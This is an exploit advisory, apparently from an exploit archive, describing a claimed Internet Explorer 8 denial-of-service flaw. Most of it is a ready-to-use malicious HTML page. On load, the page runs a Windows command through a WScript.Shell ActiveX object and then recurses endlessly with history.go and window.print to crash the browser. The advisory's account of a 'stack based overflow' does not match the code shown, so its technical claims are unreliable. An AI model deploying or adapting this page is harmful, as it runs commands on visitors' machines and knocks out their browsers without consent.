Microsoft Internet Explorer 8 – Denial of Service
======================================================================= Internet Explorer 8 (Multitudinous looping )Denial of Service Exploit ======================================================================= by Asheesh Kumar Mani Tripathi # code by Asheesh kumar Mani Tripathi # email informationhacker08@gmail.com # company aksitservices # Credit by Asheesh Anaconda #Download http://www.microsoft.com/windows/internet-explorer/worldwide-sites.aspx #Greets to Bhudeo Prasad for making shell script :) #Background Internet Explorer 8 is a popular internet browser. with lots of bugs .....:) #Vulnerability This bug is a typical result of multitudinous loop. The flaw exists within "history go" ActiveX control which contains stack based overflow conditions.User interaction is required to exploit this vulnerability in that the target must visit a malicious web page. #Impact Attacker Can run any windows command ,consume lots of memory and able to crash your IE or make your system unaccessible,your work if any might be lost #Proof of concept copy the code in text file and save as "asheesh.html" open in Internet Explorer 8 ======================================================================================================================== asheesh.html ======================================================================================================================== <html> <title>asheesh kumar mani tripathi</title> <head> <script type="text/javascript"> function sucks() { var shell=new ActiveXObject("WScript.Shell"); shell.Run("ipconfig", 1); } function asheesh() { sucks(); window.onerror=new Function("history.go(0)"); window.print(); asheesh(); } asheesh(); </script> </head> <body onLoad="asheesh()"></body> </html> ======================================================================================================================== #If you have any questions, comments, or concerns, feel free to contact me. |